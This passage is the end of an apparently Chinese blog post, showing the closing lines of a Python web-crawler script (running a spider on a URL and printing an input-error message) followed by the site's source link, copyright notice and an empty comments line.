spi = spider()
spi.run(url)
if __name__ == '__main__':
main()
else:
print('*' * 35)
print('输入错误')
print('*' * 35)
原文地址:https://fendou.gqr5.cn/3511.html
感谢您的来访,获取更多精彩文章请收藏本站。
© 版权声明
THE END
暂无评论内容